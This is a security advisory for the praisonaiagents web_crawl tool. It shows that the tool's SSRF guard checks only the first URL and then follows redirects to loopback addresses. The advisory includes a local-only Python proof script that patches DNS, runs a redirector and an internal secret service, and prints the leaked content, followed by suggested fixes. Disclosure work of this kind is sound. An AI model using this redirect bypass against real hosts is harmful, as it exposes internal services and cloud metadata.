praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets

Local Reproduction

The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.

Run from a checkout of the repository:

env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py

Observed output:

DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback

The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.

With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:

REDIRECT_HIT: True
INTERNAL_HIT: False

Impact

If an attacker can influence URLs passed to web_crawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the web_crawl() result.

Practical impact includes:

• reading loopback-only HTTP services;
• probing private network services;
• reading cloud metadata endpoints where reachable and not otherwise protected.

This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.

Severity

This mirrors the CVSS v4.0 shape already used for the prior web_crawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.

Suggested Fix

• Set follow_redirects=False in _crawl_with_httpx(), or handle redirects manually and validate each Location target before following it.
• Centralize the URL validation used by server-side fetch tools.
• Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result.
• Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
• Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.

PoV

#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""

from __future__ import annotations

import http.server
import os
import socket
import socketserver
import threading
from typing import Any

from praisonaiagents.tools.web_crawl_tools import web_crawl


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"INTERNAL-SECRET-FROM-LOOPBACK"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_gethostbyname = socket.gethostbyname
    original_getaddrinfo = socket.getaddrinfo

    def fake_gethostbyname(host: str) -> str:
        if host == "attacker.test":
            return "93.184.216.34"
        return original_gethostbyname(host)

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    socket.gethostbyname = fake_gethostbyname
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = web_crawl(
            f"http://127.0.0.1:{internal_port}/secret",
            provider="httpx",
        )
        redirect_result = web_crawl(
            f"http://attacker.test:{redirect_port}/go",
            provider="httpx",
        )
    finally:
        socket.gethostbyname = original_gethostbyname
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", bool(redirect.hit))  # type: ignore[attr-defined]
    print("INTERNAL_SERVER_HIT:", bool(internal.hit))  # type: ignore[attr-defined]

    if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict):
        raise SystemExit("bypass failed: unexpected result type")
    if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: redirect target content was not returned")
    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]
        raise SystemExit("bypass failed: expected local servers were not hit")

    print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())